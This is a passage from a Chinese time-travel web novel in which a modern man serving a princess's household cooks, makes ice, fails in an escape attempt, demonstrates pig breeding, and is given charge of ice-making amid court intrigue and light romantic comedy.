烤狗肉也就算了,闻着香归香,但卖相属实难看,公主何等身份,怎可食这等粗鄙之物?可随着荷叶外面那层黑乎乎的泥炭敲开,露出里面金黄多汁的叫花鸡,竹儿彻底沦陷了。 尤其是那喷香的味道,馋的她直流口水。 正好她也得回去,找公主汇报制冰之事。 她这番话正中季褚下怀,笑道:“如此,那便有劳竹儿姐姐跑一趟了。” 竹儿满意的点点头,借用她的话笑道:“都是为了殿下服务,只是叫花之名,难登大雅之堂,还请府令大人重新赐名。” “额……”季褚心里一阵无语,吃个鸡,有啥穷讲究的,想了想,“要不就叫泥煨金凤?” “不妥!”竹儿摇头,提醒道:“殿下便是金枝玉凤,有僭越之嫌。” “那就叫荷香裹玉。”季褚心里直翻白眼,道:“以“荷香”呼应荷叶包裹的清香,“裹玉”喻鸡肉洁白如玉,经泥煨后更显温润。 正所谓,有美一人,清扬婉兮,邂逅相遇,适我愿兮。 妥?” “府令大才,奴婢这便给公主送去。” 竹儿盈盈一拜,说完立马取了一只叫花鸡匆匆出门离开。 “季郎~我们要不要等竹儿姑娘一起用膳?” 会作诗,会做菜,如今更是得到了公主殿下青睐获得官身,尤其是自己,也被带去学规矩,以后便能在公主近前伺候,此刻的怜香可谓是越来越有盼头,满心满眼都是季褚,一双水眸稠的都快能拉丝了。 季褚四下看了看,压低了声音,“你等下多吃点,今晚有行动!” “季郎……你坏……” 怜香显然是误会了什么,立马给了他一个娇嗔的眼神。 季褚听的骨头都酥了,生怕隔墙有耳,也不好过多解释。 第11章 季郎,你,你越发的坏了 另外一边。 竹儿匆匆赶到公主寝殿,很快便被带到了李清瑶面前。 “这是何物?”李清瑶秀眉轻蹙,语气中多了几分不易察觉的嫌弃。 “此乃府令大人亲自烹饪的荷香裹玉,令我献于公主。”竹儿心情澎湃,献宝一样把泥团放到桌上轻轻敲开上面的表皮。 顷刻间,屋里便充满了喷香的肉味。 “荷香”呼应荷叶包裹的清香,“裹玉”喻鸡肉洁白如玉,经泥煨后更显温润。府令为此赋诗一首,有美一人,清扬婉兮,邂逅相遇,适我愿兮!” 饶是李清瑶贵为长公主,吃过不少珍馐美味,见之闻之也不禁口齿生津。 尤其是那首诗,更是令她品出了一丝不同寻常的味道,心轻轻的颤了一下,微微颔首,“嗯,有心了,这季府令倒是多才多艺。” 说着,又指了指另外一个丫鬟手里端着盆,“那又是何物?” “此乃府令大人制作的冰,奴婢亲眼所见,实在是化腐朽为神奇,殿下,您是不知道…… 府令大人说,公主可遣一忠心之人专门负责此事,定能为公主府开源活水,岁岁丰盈……” 竹儿对季褚可谓是好感倍增,巴拉巴拉一通夸,完全没注意到李清瑶那越发不善的眼神。 这才多久? 一天而已啊,季褚便成功收买自己的婢女为他说尽好话。 假以时日…… 李清瑶简直不敢继续想去,立马一挥袖袍,“本宫已悉,都退下吧!” “喏!” 挥退侍女,李清瑶莲步来到桌前,葱白的玉指轻轻划过冰面,嘴中喃喃尽是苦涩。 她轻抚裙袍坐在了椅子上,拿起一只鸡腿,红唇轻起,眼睛瞬间亮了一下,可很快便又暗淡下去。 以季褚现在表现出来的才华,如此一位送上门的大才,她实在是舍不得杀。 也恰恰因为他的才华,又不得不杀。 所以李清瑶心里异常纠结。 彻底收服,自然皆大欢喜。可怕就怕他口服心不服,如若被其他皇子得到,想想都觉得……恐惧。 没错,就是恐惧。 而她之所以恐惧,主要还是因为季褚身为现代人,举手投足间完全没有寻常平民百姓对皇家那份自内而外的敬畏之心。 这种人,是她从未见到过的。 你说他持才傲物,他又能屈能伸。 你说他能屈能伸,他又狗胆包天,即便一整天下来,想起在大殿里被他霸道强势,还很无赖的轻薄,李清瑶的心依旧难以平静。 可你真以为他狗胆包天,他又很会见风使舵。 这样的人,竟然还敢舍命,让他自戕,他便自戕。 所以李清瑶这位基因里就带收买人心buff的皇家贵女,遇上季褚是真没招了…… 她一边吃着鸡腿,一边想着办法,不知不觉一只鸡便吃了大半,看到老母鸡肚子里的鸡蛋,突然眼前一亮。 只一瞬间,那清冷的绝颜宛如冰封万年的冰雕瞬间融化。 “怜香无法生育,如若让竹儿诞下他的子嗣,孩子在手是否能令他彻底归心? 不不不,竹儿不可。 这事还得落到虞美人头上。 他屈尊藏身公主府,便是为了虞美人,本宫帮他得偿所愿,他自会感激涕零。 如若虞美人怀上他子嗣,这样一个诛族的把柄,虞美人也会成为我帮康儿登基的一大助力。” 越想,李清瑶就越是觉得此计可行。 可笑着笑着,李清瑶莫名一阵烦躁,嘴里的鸡肉都不香了直接丢到了桌上,“哼,倒是便宜了那个胆大欺天的登徒子! 来人!” “殿下!” “将临安郡主唤来。” 不多时,韩江雪便腰握宝剑匆匆而来,“表姐何事唤我?” 说着,她的目光不由落到桌上吃剩下的半只叫花鸡上,促狭道:“表姐倒是好胃口,这便是季府令亲自烹饪的美食,可曾让人验过毒?” 李清瑶恰好打了个饱嗝,轻咳一声,掩饰自己的尴尬,“??歪打正着罢,他还没那么大的胆子敢给本宫下毒。 好了,唤你过来是有要事吩咐。” 闻言,韩江雪立刻正色起来,“殿下吩咐。” “季褚今日又是让竹儿奉上制冰之法,又是送来美食,无非是想表达他已臣服,想让本宫放松警惕。 然,此人诡计多端,本宫料定他今晚很有可能逃走。 加派人手,给本宫盯死了那个小院,一只苍蝇都不可飞出。” 一想到季褚那绝望,崩溃的样子,李清瑶都没察觉到,自己的嘴角不自觉的扬了扬。 “他若真跑,我能不能先动手揍他一顿?” “额……不必,你且去吧,届时本宫自有安排。” 韩江雪嘴上说着喏领命而去,心里却对李清瑶这猫戏老鼠的把戏暗暗腹诽。 …… 古人的夜生活其实很丰富,就比如勾栏听曲儿…… 只可惜,今晚关乎到季褚能否顺利逃离公主府,哪怕守着花魁娘子这样的先天优势,季褚也没心思欣赏她的才艺。 吃饱喝足,便将人拉进了房间。 “季郎,妾,服侍你更衣……” 怜香掌好灯,红唇微翕,含情脉脉的望着季褚,声娇似水。 幽幽的烛光下,亭亭玉立的美人,迈动着修长的玉腿莲步而来,带起一股沁人香风,这让季褚一个血气方刚的大小伙子如何承受的住? 那红红的小脸,一掐就能滴水的摇曳的身姿,一点一点破开了季褚的心理防线。 尤其是想到昨晚那双让人流连忘返的莲足…… 季褚情不自禁的咽了口唾沫,暗暗发誓,等自己逃出去,一定想办法把丝袜做出来,不能辜负了这双美腿。 反正时间尚早,他应该麻痹一下住在厢房里的敌人。 嗯,节省一下体力,应该无妨? 这样想着,季褚情不自禁挽住了怜香的小蛮腰,另一只手很是自然的移到了下面。 “季郎……” 怜香睫毛轻颤,水润的眸子仿佛要将人彻底包裹,溺死其中,嘤咛一声便把头靠在了季褚怀里,“夜深了……” 季褚低头看着美人,嘴角噙起了一丝对万恶社会满意的微笑,“香儿,我打算逃离公主府,你可愿意随我离开?” 怜香显然有点不能理解,“我们为什么要逃?” “公主太可怕了,我怕继续待下去小命不保,你就说愿不愿意。” 怜香点头,“季郎做选择即可,昨日之事也让妾看清了天家的无情,如今心属季郎,季郎在哪儿,妾便在哪儿!” 季褚抿嘴一笑,“哦,是吗……才一日,你便心属于我,我不信!” 闻言,怜香顿时委屈起来,“妾如何做,季郎才会相信?” 眼看就要把人斗哭,季褚稍微有那么一丢丢的愧疚,眉梢微挑,“除非,你让为夫摸着你的良心发誓。” “妾的良心在哪儿?” 说着,怜香表情一滞,随即俏脸滚烫,整个人都瘫软在了季褚怀中,“季郎,你,你越发的坏了……就知道欺负奴家……” 季褚这边的动静属实不小,隔壁房间里的竹儿可谓是备受煎熬。 只能把头蒙在被子里,可是天太热,即便屋里放了好几个冰盆,都驱不散心里的那团莫名的烦躁。 “登徒子,不要脸……还有那个怜香,也不是什么好人……”竹儿双手捂住耳朵,但隔壁的声音就像是水浪,一浪接着一浪拍打着她的心扉。 好在也只持续了半个时辰,隔壁便传来了均匀的鼾声。 “莫非男女之事真有那般美妙……” 竹儿嘴中喃喃,下午被季褚拍过的地方,隐隐的泛起了一丝酥麻。 翻来覆去过了好久,竹儿才沉沉睡去。 夜,渐渐深了。 子时的更声刚过去了不久。 季褚猛然睁开了眼,看向了蜷缩在自己怀里熟睡的怜香。 她睡的倒是很香,兴许是缺乏安全感抱得很紧,几乎要将季褚的胳膊团团包围。 月下看美人,简直越看越美妙,令他属实不忍扰了美人清梦。 可眼下是逃离公主府最好的时机,他也不得叫醒对方,“香儿,香儿,醒醒……” 怜香茫然的睁开眼,眼神渐渐清澈起来。 “穿衣服,咱们该走了。” 怜香低低的嗯了一声,立马拿起旁边的肚兜和亵裤…… 一刻钟后。 两道人影悄无声息的出了小院,一路小心翼翼朝着下午刮墙皮的厕所摸索过去。 第12章 殿下还想现场观看 季褚刮硝的时候就已经踩好了点,厕所另外一边就是通往府外的院墙。 正所谓,天高任鸟飞,海阔凭鱼跃,从此笑看潮,闲观日升落。 穿越一场,自己终于要自由了,季褚可谓是相当亢奋。 来到院墙边,立马蹲在地上,催促道:“香儿,上……” “好的夫君。”怜香小鸡啄米,扶着院墙抬腿便踩在了季褚肩上。 季褚这具小身板虽然不通武艺,但养了这么久的马,小体格子也是杠杠滴。 百十斤的大米他搬不动,百十斤的美妾……他轻轻松松。 “上啊香儿!” 见怜香上了院墙便不再往上爬,季褚忍不住催促道。 “上,上不了了……” 怜香看着院墙外双手抱剑倚着墙的韩江雪,声音不自觉的开始颤抖。 可季褚光顾着着急了,哪里听的出来,还以为花魁娘子没爬过墙,恐高了。 想想也是,两米多高的院墙,确实挺难为人的,鼓励道:“放心大胆的爬,有我在摔不到的!” “不,不是……季郎,我,我们……” 不等他说完,周围突然亮起了一道道的火光。 紧接着,一道人影宛如落叶一般落到了墙上。 韩江雪低头俯视,似笑非笑,“府令大人,这么晚带着花魁娘子爬墙,很有雅致啊!” 季褚慌张转身,就见李清瑶已经乘坐步撵出现在了十米之外。 季褚心里咯噔一下。 吾命休矣! 跳动的火光映在李清瑶那张绝美的脸上,看不出喜怒。 “季府令果然好雅致,你继续,本宫就是出来遛遛。” 李清瑶遮面打了个哈欠,便坐着步撵朝着前方走去。 韩江雪狠狠瞪了季褚一眼,纵身从两米多高的院墙落下,没发出一声轻响,快步跟上了步撵。 来也匆匆,去也匆匆。 “季郎,我,我们还逃吗?”怜香紧张道。 “回吧……”季褚苦涩一笑。 先帝创业未半,而中道崩阻。 都被人发现了,还逃?逃个屁啊! 累了,毁灭吧,赶紧的! …… “殿下,如此虎头蛇尾当真稳妥?不再派人盯着,万一他真逃了咋办?”韩江雪跟在步撵前问道。 李清瑶已经是哈欠连连,“罢了,留住他的人,留不住他的心,他若逃,那便逃吧。” 韩江雪撇嘴嘀咕,“如此兴师动众,还不如打他一顿,一顿不成,那便两顿,再不成,直接送去净身房,您还是太仁慈了。” …… 翌日。 清晨。 季褚迷迷糊糊睁开眼,瞬间就被眼前白花花的光景晃得一阵眼晕。 兴许是他的动静太大,怜香抱着他头将他按进了软乎乎的怀里,差点没把季褚当场送走。 季褚暗暗苦笑,亏他方才还以为是在做梦,这哪里是梦啊…… 张张嘴,他的禽兽行为很快便惊醒了怜香,嘴里发出一阵甜蜜的呢喃,“不要啦季郎,且让奴家再睡一会儿。” 突然 砰! 房门被人一脚踹开。 竹儿羞红着一张脸走进屋,“怜香,你该起床去学规矩了。” 别说怜香吓一跳,季褚都被吓了一跳,忙拉下帷幔,怒道:“学什么规矩,从现在起,怜香哪儿都不去,公主有什么不满大可冲我来。” 竹儿呆了呆,随即一股委屈夹杂着愤怒在心中蔓延开来。 怜香慌张起身,“奴婢这便起身,竹儿姐姐切勿动怒……” “哪儿都不去,我说的。”季褚霸道的拉着怜香躺下,“你且回禀公主,就说本府令昨日为了完成她交代的任务劳心劳力,今日当劳逸结合,对酒当歌。 另外你再去帮我要一些丝竹管弦等乐器。” 昨晚公主兴师动众的来,又轻飘飘的揭过,显然是留着自己制出令太子妃怀孕的工具。 所以说,太子妃怀孕之前,自己应该是安全的,又何必急于一时,还不如赶紧把公主交代的事儿办利索,省的她天天派人盯着自己,而自己刚好也能好好的享受一下生活。 能逃呢,最好。 逃不掉,起码也享受了,不枉穿越一场。 闻言,竹儿的大白眼差点没翻天上去。 你是在怜香身上完成公主交代的任务吗? 还劳心劳力? 只是话已至此,竹儿也不敢疏忽,只能轻哼一声转身去汇报公主。 公主寝殿。 “结冰了,真的结冰了……” “殿下,此乃妖术,烦请退后,勿伤凤体!” 几个丫鬟站在一旁叽叽喳喳。 李清瑶不为所动,葱白的指尖轻点案前渐渐结冰的冰盆,虽然昨日并未休息好,那如画的媚眼间多了几分疲态,可心情却相当不错。 今酷暑难耐,如果公主府大量制冰贩卖出去,必能解决燃眉之急。 至于丫鬟们口中说的妖术,她自是不信。 倘若那狗才真会妖术,昨晚又何须那般狼狈。 想到昨晚戏耍季褚,他当时那震惊错愕,一脸惶恐的模样,心中便是一阵好笑。 这时,下人来报。 很快竹儿提着裙裾,脚步匆匆地穿过回廊,踏入寝殿。 “何事?”李清瑶声音淡淡,却透着一丝前所未有的欢快。 竹儿盈盈一礼,快速将季褚方才的话说了一遍。 这狗才! 李清瑶好心情荡然无存,平静无波的脸上闪过一丝愠怒,就连高耸的胸口都剧烈起伏了好几下。 半晌才道:“摆驾!” 很快,一众侍女便簇拥着李清瑶来到了季褚所在的小院。 还未等人上前开门,就听院子里传来一阵略显苍凉的吟唱。 “误闯天家,劝余放下手中砂,张口欲唱声却哑,粉面披衣叫个假……” 院墙内,季褚翘着二郎腿,半眯双眼,认真听曲儿。 院墙外,李清瑶端坐风撵,气的奶疼。 粉面披衣叫个假? 他这是内涵谁呢? 似乎是感受到了她那极强的低气压,韩江雪紧握剑柄:“殿下,还是打一顿吧,不打不会老实。 此贼不知感恩,竟敢编曲暗讽公主,殿下能忍,我不能忍。” 李清瑶捂额,摆手,“开门!” 砰! 韩江雪走上前,一脚下去,连带着门框重重拍在了地上,院里的清唱也戛然而止。 怜香暗道不好,瑟瑟发抖的跪在地上。 早知公主会兴师动众前来问罪,她就不该听季褚的。 季褚显然也没想到李清瑶会这么闲,亲自过来。 门口,李清瑶见季褚还敢坐着,不立刻行礼,心里的怒火噌噌上涨。 一双水眸死死瞪着季褚。 两道目光空中相遇,仿佛碰触了一道闪电。 “昨晚爬墙,今日听曲,季府令好生雅致啊!” “公主也挺清闲,不如一起听曲儿?”季褚起身敷衍的行了一礼。 李清瑶一愣,险些被他这话气笑。 抬手挥退众人,款步来到石桌旁坐下,“东西做出来了?” “没错。” 闻言,李清瑶激动的胸口一阵起伏。 做出来好啊! 只要太子妃怀上,便无人能用“关乎国本”来攻讦太子。 “来人,速去捉猪,一公一母,送到小院来。”李清瑶迫不及待的朝外喊道。 季褚整个人都麻了,“不是,莫非殿下还想现场观看?” 李清瑶绝美的脸颊瞬间染上一层淡淡的红晕,“不亲眼见证,本宫如何相信!” 季褚:…… 第13章 啊啊啊,她脏了 半个时辰后。 一公一母两头大肥猪被奴仆赶着进了小院。 趁着这段时间,季褚也用凳子制作了一个简单的母猪台。 其实本来用不了这么久,偌大的公主府弄两头猪还不容易,主要是公主点名要,虽不知要猪做什么,可下面管事怕脏了公主眼睛,送来之前先给猪进行了一番沐浴。 李清瑶面带急色,“东西送来了,接下来如何做?” “两间厢房,公主母猪各一间。” 李清瑶颔首,指挥奴仆将猪赶入厢房,然后吩咐韩江雪戒严整个小院,跟着一块进了厢房。 “殿下,我劝你还是暂且回避。” 季褚试图劝退。 李清瑶轻哼一声,“无妨,眼见为实,开始吧!” 再次和季褚单独相处,她心里还有一些小小的兴奋。 昨日自己一时无措,今日准备妥善,如果季褚继续轻薄自己,一定咬的他痛哭求饶。 她不明白为什么会产生那种想被他轻薄的恶心想法,兴许是昨日被她杀的丢盔卸甲。 不过,她身份高贵,自是不会表现出来。 反正也无人知晓她的内心。 季褚倘若知晓她怎么想的,肯定大呼一声有病。 她这种人,身份高贵,从小到大,没人敢对她不敬。 说白了,就是内心孤独,缺少朋友,皇家贵女么,所有人都是她家下人。 她也想有一个不把他当公主,只当是寻常女子的人。 昨日的无礼,反倒是令她享受到从未有过的平等。 那种欺负别人不成反被压制,被轻薄,令她觉得新奇,甚至是刺激…… 季褚叫苦不迭。 自己这是在作死的路上越走越远了啊,当着公主的面展示给母猪配种……真真是手握日月摘星辰,世间无我这般人,恐怕万千穿越大军中,也只有我才这般优秀! 上一世外公就是养猪的,季褚放假可没少帮忙干这活儿。 很是熟练的便将公猪引诱到了简易的母猪台上,看的李清瑶啧啧称奇。 可紧接着便娇躯一颤,绝美的俏脸霎时间变的通红通红。 她虽未经人事,但出嫁前也学过宫廷礼仪,其中自然包括身子不便时,伺候夫君的手法。 眼前的一幕,比起那一晚,简直有过之而无不及。 尤其是季褚那熟练的手法,令她心里不由生出了一个可怕的念头。 这季褚真是虞府的私塾先生吗?该不会是虞府养的男宠吧……否则……否则为何这般娴熟? 李清瑶下意识捂住了娇艳的红唇,默默退到了门口, 季褚听到动静回头看了对方一眼,正好迎上她那双意味深长的眸子,哪里还不清楚她在想什么,也不禁有些脸热,强行挽尊,“我平时还爱看一些杂书!” “是是是,本宫晓得了,你继续……” 季褚:…… 一炷香后。 二人一前一后出了东厢房,季褚手里已经多了一个吸满猪之精华的灌肠器。 “公主,是否继续观摩?”季褚尴尬问道。 李清瑶眉心处微不可查的跳了跳,“自,自然。” 说完,率先迈下台阶,奈何方才的震撼属实太大,脚下一软,踉跄着便朝前面扑去。 “小心!” 季褚手疾眼快,一把拉住对方胳膊,猛一用力,拿灌肠器的那条胳膊顺势穿过腋下,揽住了李清瑶的腰。 彼此对视的一瞬,空气如胶凝住。 李清瑶全身的鸡皮疙瘩都起来了,啊啊啊,她脏了……彻底脏了…… 简直比被这狗才压在身下凌辱都……难以接受。 默然须臾,她便猛的推开了季褚,低声道:“放肆!” 季褚忍不住直翻白眼,“得得得,我好心当成驴肝肺。” 有那么一瞬,他真想把对方绳之于法,让她知道什么叫真正的放肆。 但也就那么一瞬。 好死不如赖活着,大门都没了,李清瑶动静稍微大点都能惊到门口的守卫,万一把他乱刀砍死,可就真的一点希望都没有了。 言罢,季褚径直走向了对门关母猪的厢房。 李清瑶嫌弃的看了一下被污染的衣裙,强忍着恶心跟着进了厢房,才刚进去,就见季褚掀开了猪尾巴…… 立马把头一扭退出了房间,“忙完了带着怜香去寝殿,本宫有要是相商。” 说完,头也不回的朝着门口走去。 “殿下?” 李清瑶匆匆上了凤撵,“守好此处,一会儿带季褚和怜香来见本宫。起驾,江雪跟上。” 归至寝殿,李清瑶命人备沐焚香。 趁此间隙,召韩江雪近前,“本宫问你,先前所查季褚之事,可有疏漏?” “我亲自详查,并无疏漏。” “他真只是虞府私塾先生?而非……” 韩江雪见其吞吞吐吐,狐疑道:“什么?” “就……”李清瑶嗫嚅了两下,才尴尬道:“就是有没有可能,他,他其实是虞府圈养的男宠……” 韩江雪先是错愕,随即忍俊不禁笑出声来,促狭道:“表姐,莫不是想养男宠了? 我明白了,难怪表姐对季褚这般上心。 他确实异于常人,昨晚回去又折腾怜香半个时辰。” 李清瑶羞的脸红,在她肩上拍了一记,“连我的玩笑也开的越发顺嘴了,看来是时候帮你寻摸一良人,尽早嫁出去。” “男人只会影响我拔剑的速度,我劝表姐莫要自误。” 李清瑶:…… 正说着,婢女来报沐汤已经备好,李清瑶急急走进了浴室。 季褚忙完便被竹儿引着来到寝殿。 李清瑶尚在沐浴,一想到季褚都不干净了,立马对着竹儿说道:“你且伺候季褚沐浴更衣,本宫稍后召见。” 竹儿瞪圆了好看的小鹿眼,脸腾的一下红成了苹果,“喏!” “殿下有令,季褚沐浴更衣后再行觐见,府令大人且随奴婢来。” 竹儿来到前殿,红着脸说了一声,便在前方引路。 季褚正好弄了一身臭汗,叮嘱怜香几句便随竹儿朝着后面走去。 他当然不可能用公主的浴室,而是被竹儿带到了下榻的闺房。 不多时,几个漂亮小丫鬟便抬来浴桶,调好水温退了出去。 “额……竹儿姐姐,你为何还不离开?” “公主令奴婢伺候季府令沐浴更衣……”竹儿脸颊滚烫,低着头来到季褚身前,“奴婢为府令宽衣……” 第14章 本府令行事,何须向你解释 “也罢,有劳竹儿姐姐了。”季褚心里臭骂了一句万恶的封建社会,身体很是诚实的张开了双臂,任由竹儿施为。 然而,季褚还是低估了“沐浴更衣”的含金量。 他以为顶破天就是帮忙脱穿衣服,搓个背,公主还等着召见,时间紧,赶紧洗完赶紧去见公主。 哪成想,竟还有按摩服务。 宫廷手法,按的季褚浑身上下麻酥酥的。 半个时辰后。 季褚已经换上七品的浅绿色官服。 竹儿头一次服侍男人沐浴,简直羞得要命,显然还没从方才沐浴的场景中缓过神来,宛如熟透了的大虾。 正所谓人靠衣装马靠鞍,季褚身量极高,合身的官服穿在身上,不仅器宇轩昂,风度翩翩,漆亮的眸子里更是透着几分世家贵胄才有的矜贵气度。 竹儿慢条斯理的帮他盘好发髻,束发带子在她修长的手指间逶迤翻转,衬得她指节分明,玉白修洁。 二人离得很近,近到他甚至能闻到那乱颤小兔上散发的少女香。 “好了,府令!”竹儿最后拿起幅巾扣在了季褚头上。 “有劳竹儿姐姐了。” “应该的,我这便带你去见公主。”竹儿忍不住偷偷打量了季褚一眼,羞涩低头,前方引路。 叫上怜香,三人很快来到公主寝殿,隐约可见屏风后似有一道侧卧的曼妙身影。 “叩见公主,公主万安!” 李清瑶隔着屏风开门见山,“免礼,季褚,本宫自问赏罚分明,赏你美人,赐你官身,待你不薄。 如今天降大旱,本宫封地造灾,恰逢太子大婚,父皇四十寿诞,处处都需要钱粮,你身为府令,既有经世之才,应为本宫分忧。 既然你想出府那便出府罢,刚好制冰一事交由你全权处理,府内人手随意调取。 做得好,本宫自会再赐一场造化,令你达偿所愿。” 季褚郁闷的直嘬牙花子,区区半条龙,就想让他玩了命的付出。 黑了心的资本家都没你黑。 还造化,还达偿所愿,我信了你个鬼,我想逃得远远的,你会允许? 分明是要榨干我最后一点利用价值! 不过这也确实是个逃离公主府的机会,起码比现在数天等死强。 “谢公主信任,臣必尽心尽力。”季褚领旨谢恩。 “嗯,你且自去!”李清瑶摆了摆手,“怜香留下,方才那曲儿听着不错,为本宫唱舞一曲。” 怜香紧张的看着季褚,两口子打工,他也很无奈好嘛! 见季褚点头,弱弱领旨,“奴婢献丑了!” 诚如季褚想的那样,长公主的信认,只是行于表面,听听也就是了。 不仅扣下怜香当人质,还额外又把大熊郡主韩江雪安排到他身边,美其名曰保护安全,说白了,就是武力震慑,让他不敢生出二心。 “季府令,接下来我们怎么做?”出了小院,韩江雪便摩挲剑柄,那双眼更是有意无意朝着季褚脖子上瞄。 她都想好了,虽不知公主为何提起男宠,但为了公主的清白着想,此等“妖艳货色”也断不可留。 出了府,就寻个由头斩下他的狗头,想必公主也不会追究! 那恶意几乎快从眼眶子里溢出来了,季褚怎可能察觉不到。 “本府令行事,何须向你解释,跟着便是。”季褚一肚子火气,说完,大踏步朝着前面走去。 韩江雪气的银牙紧咬,盯着季褚的背影,拔剑收剑,再拔再收,一连三次才一跺脚追了上去。 正所谓有权不用,过期作废。 季褚可不会为了黑心资本家抛洒汗水。 出了寝殿,便让竹儿带路前往值房,顺便打发走恶意满满的韩江雪,令她召集可信人手开会。 不多时,韩江雪便唤来了六个管事。 教会大家如何辨含硝的厕土,季褚便用力鼓了下掌,“好了诸位,行动起来吧,这种成色十文一斤,根据成色适当加减,尽可能的多多收集。 如若人手不够,可发动城中难民帮忙。 有多少,我公主府收多少。” “喏!” 有两大护法在,季褚可谓是言出法随,众管事立刻领命而去。 压根不存在出言顶撞,瞧不起人这档子事,以至于他想震慑全场,小小的装个逼都装不成。 待人走光,韩江雪抱剑来到案前,“方才还让我寻找可信之人,现在又要发动难民,是否自相矛盾?” “人手不足,如何收集到足够多的厕土?”季褚端起茶浅浅的抿了一口,“寻可靠之人,是要将源头技术把控在自己人手中,总不能每一块冰都需要本府令亲自制作吧? 难民只负责寻找原材料,他们又不知如何提纯。 况且,天灾无情,人有情啊!本府令自有本府令的做事章程。” 季褚瞄了一眼那被银色剑鞘一分为二的大熊,心道这女人也并非熊大无脑。 见她皱眉须臾,季褚继续说道:“把市面上的厕土收购一空,巧妇也难无米之炊啊! 还是那句话,在这之前给你一些厕土,你能做出冰来? 正所谓难者不会,会者不难,便是此理。” 当然了,最重要的是,眼下季褚只想制造一个趁乱逃走的机会,至于以后,关他屁事。 韩江雪总觉得哪里不对劲,可一时半会儿又的确想不出来。 眼珠子一转,“既然都安排好了,府令不如随我出城去庄子上一趟,亲自指导如何提纯,总不能在公主府架起大锅熬煮吧!” 那熟悉的脊背发凉感说来就来,季褚莫名起了一身鸡皮疙瘩,“罢了,本府令还是坐镇中军,也该给下面人多一些表现的机会。” 韩江雪:…… “你还有事儿没,没事儿去帮本府令弄些鲜奶,再弄一些饴糖!” “我不是你的丫鬟。” “我再做一物献给公主,顺便更好完成公主交代的任务。” “等着……” 果然,这话一出,韩江雪纵有不忿,也只能轻哼一声转身离开。 季褚眯了眯眼,开始仔细复盘自己的逃跑大计。 制作冰饮也是逃离的环节之一。 倘若不能趁乱逃离,待到冰饮上市,他便能借视察之名,堂而皇之的出府。 届时肯定不会只有几个摊子,他分批分次把盯着自己的人全都打散,就不信做到这程度还找不到逃走的机会。 这波,优势在……啊呸。 季褚赶紧淬了几口唾沫,可不敢再念那个魔咒。 可他哪里知道,韩江雪没去找东西,反而匆匆回到寝宫汇报此事。 李清瑶打发怜香下去,听完汇报,眸光闪闪,“好一句天灾无情,人有情,他虽心思狡诈,胆大妄为,却也怀揣赤诚、忧国如焚! 好一个季褚,好一个季伯赢!” 韩江雪:“表姐?” “一朝帝都,涌入大量难民,于朝廷而言不仅有损颜面,也会影响国朝稳定。 奈何,衮衮诸公眼里只有争权夺利,只会堵从来不想着疏,根本不顾难民死活。 竟然还不如一马夫。 季褚此举,不仅是帮难民谋一口饭,更是在帮康儿凝聚民心啊! 传本宫口谕,一切都按照他说的办,就在府外摆摊,向难民收购厕土。” 韩江雪愣了愣,他,当真有这么深的用意? 为何总觉得是表姐被季褚的美色迷晕了头脑呢! 但,一琢磨,好似……又是真是那么回事! 一时间,她也不由为难,要不要除了这个佞臣? 总觉得不杀季褚,表姐早晚会被他带到沟里去。 李清瑶来回踱步,兴奋道:“哦,你速去东宫,讲筵??后请太子过府。” “喏!” 目送韩江雪匆匆离开,李清瑶对着殿外喊道:“来人!” “殿下!” “赏怜香缎锦百匹,金钗头面一套。” 女官妙锦一脸错愕,应了声喏,也立马出去宣赏。 …… 季褚待在值房喝着茶,等着奶,不知外间事。 而他上任府令的大动作,以及公主突然赐下的重赏,却通过宋辉暗中收买的耳目传到了他所居住的院子。 “哈哈哈哈,果然是上不了台面的下贱奴才,收厕土,他莫不是想让公主府成为满城笑柄? 还有那长公主,竟让一马夫掌管府事,当真昏聩至极……唉,不对……” 制冰一事,李清瑶已经下了封口令,宋辉并不知晓。 可笑着笑着,宋辉的脸色骤然阴沉下来。 他突然想起了季褚那整整一个时辰的超强战斗力。 莫不是公主馋上了那马夫的身子? 那可是一个时辰啊! 吾悟了! 难怪突然如此看重那马夫,好好好,李清瑶你个贱人,你…… 宋辉捂住胸口,气的差点吐血。 眼瞅着驸马爷的脸色越来越难看,前来汇报的人也不禁瑟瑟发抖,“驸马爷……您没事吧?” “无事,你做的不错。”宋辉深吸口气,从怀里摸出一定银子抛给了对方,“你且近前……” 第15章 雷霆雨露俱是君恩 季褚是左等右等,等不到奶,反倒是到了下值时间。 下班不积极,思想有问题,立马溜溜达达去了内厨房。 府里的下人兵士都是一天两顿,分别是上午九点左右的朝食,又成饔,和下午三点左右的辅食,飧。 像公主这样的权贵阶级才有资格一日三餐,甚至是四餐。 不过身为穿越者,习惯了一日三餐,到点不吃,总觉得肚里空荡荡的难受。 “见过府令大人!” 季褚身着浅绿色的七品官服,刚进内厨,院里几个忙碌的下人便起身恭敬行礼。 “诸位辛苦,你们忙你们的……”季褚和颜悦色的摆摆手。 庖官刘管事听到外面动静,眼底闪过一抹妒忌,但很快便换上一副阿谀谄媚的笑脸跑了出去,“见过府令大人,有失远迎,罪该万死。” 自己在公主府兢兢业业的十几年,结果之前懒得拿正眼看的下贱马夫,突然摇身一变成了顶头上司,还得令他恭敬行礼,这让他如何不嫉妒? “哎呀老刘。”季褚笑着将人托起,“你我之间无需这般,我就是路过,顺便弄点食材回去打打牙祭。” “原来如此。”刘管事呵呵一笑,“大人,请!” 季褚颔首,迈步走进伙房。 忙的热火朝天的厨丁,以及那些烹饪好至少十几道精美的摆盘,属实给季褚小小惊讶了一下,不禁走上前,一一查看起来。 “今日厨房怎的这般热闹?” 刘管事狐疑的看了季褚一眼,身为府令,莫非他不知晓公主今日宴请太子? 如若这般,那就有意思了。 再结合下人之间的传言,驸马爷似乎不怎么喜欢这位新府令。 刘管事的心跳莫名一阵加速。 正所谓不患寡而患不均。他们这些府内管事想出头比登天还难,不出意外,大多数人一个岗位便是一辈子。 大家都是管事,你立了功,得了府里贵人青睐,骑到大家头上,那说明你有本事。 可他季褚,一介养马的下贱马夫,凭什么? 思及此,刘管事决心试探一下,笑道:“此乃公主殿下的午间膳食。” 原主就一养马的,先前都是去下人吃饭的饭房,压根没资格进内厨房,所以自然不清楚公主一顿饭都吃多少道菜。 今日,李清瑶又刚把制冰事宜交代给他,也没因为一顿寻常家宴便令他分心。 换做别处,太子登门必将严阵以待,阖府相迎,以彰显对皇家的敬畏,可人家姐弟情深,太子来公主府就跟回自己家一样,早就令大家习以为常。 而且季褚这位新任府令没有心腹人手,没人和他通报,所以到现在他都不清楚李清瑶今日请太子过府一同用膳。 “原来如此。” 季褚看了一眼那些做菜的厨丁,以及准备出来的食材,全做完,怕不是得有三十多道? 娘的,还真是朱门酒肉臭,路有冻死骨。 